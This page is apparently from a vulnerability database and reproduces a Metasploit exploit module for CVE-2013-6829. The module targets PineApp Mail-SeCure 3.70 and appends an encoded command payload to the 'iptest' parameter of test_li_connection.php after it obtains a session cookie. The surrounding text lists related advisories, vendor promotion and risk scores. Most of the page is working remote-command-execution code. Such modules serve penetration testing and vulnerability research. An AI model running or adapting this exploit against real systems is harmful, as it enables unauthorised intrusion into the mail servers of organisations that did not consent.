PineApp Mail-SeCure test_li_connection.php Arbitrary Command Execution
🗓️ 27 Jul 2013 08:25:39Reported by Dave Weinstein, juan vazquez <[email protected]>Type
metasploit🔗 www.rapid7.com👁 33 Views
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
| CVE-2013-6829 | 20 Nov 201300:00 | – | circl | |
| CVE-2013-6829 | 20 Nov 201311:00 | – | cve | |
| CVE-2013-6829 | 20 Nov 201311:00 | – | cvelist | |
| PineApp MailSecure - Remote Command Execution | 20 Nov 201300:00 | – | exploitdb | |
| CVE-2013-6829 | 20 Nov 201314:12 | – | nvd | |
| PineApp Mail-SeCure admin/confnetworking.html Multiple Parameter Remote Command Injection | 22 Nov 201300:00 | – | nessus | |
| Code injection | 20 Nov 201314:12 | – | prion | |
| CVE-2013-6829 | 22 May 202503:39 | – | redhatcve |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'PineApp Mail-SeCure test_li_connection.php Arbitrary Command Execution',
'Description' => %q{
This module exploits a command injection vulnerability on PineApp Mail-SeCure
3.70. The vulnerability exists on the test_li_connection.php component, due to the
insecure usage of the system() php function. This module has been tested successfully
on PineApp Mail-SeCure 3.70.
},
'Author' =>
[
'Dave Weinstein', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-6829' ],
[ 'ZDI', '13-188' ],
[ 'OSVDB', '95782' ]
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl python telnet'
}
},
'Targets' =>
[
[ 'PineApp Mail-SeCure 3.70', { }]
],
'DefaultOptions' =>
{
'SSL' => true
},
'DefaultTarget' => 0,
'DisclosureDate' => '2013-07-26'
))
register_options(
[
Opt::RPORT(7443)
],
self.class
)
end
def my_uri
return normalize_uri("/admin/test_li_connection.php")
end
def get_cookies
res = send_request_cgi({
'uri' => my_uri,
'vars_get' => {
'actiontest' =>'1', # must be 1 in order to start the session
'idtest' => rand_text_alpha(5 + rand(3)),
'iptest' => "127.0.0.1" # In order to make things as fast as possible
}
})
if res and res.code == 200 and res.get_cookies.include?('SESSIONID')
return res.get_cookies
else
return nil
end
end
def check
# Since atm of writing this exploit there isn't patch available,
# checking for the vulnerable component should be a reliable test.
cookies = get_cookies
if cookies.nil?
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Appears
end
def exploit
print_status("#{rhost}:#{rport} - Retrieving session cookie...")
cookies = get_cookies
if cookies.nil?
fail_with(Failure::Unknown, "Failed to retrieve the session cookie")
end
print_status("#{rhost}:#{rport} - Executing payload...")
send_request_cgi({
'uri' => my_uri,
'cookie' => cookies,
'vars_get' => {
'actiontest' =>'1', # must be 1 in order to trigger the vulnerability
'idtest' => rand_text_alpha(5 + rand(3)),
'iptest' => "127.0.0.1;#{payload.encoded}"
}
})
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
02 Oct 2020 20:00Current
7.6High risk
Vulners AI Score7.6
CVSS 27.5
EPSS0.79871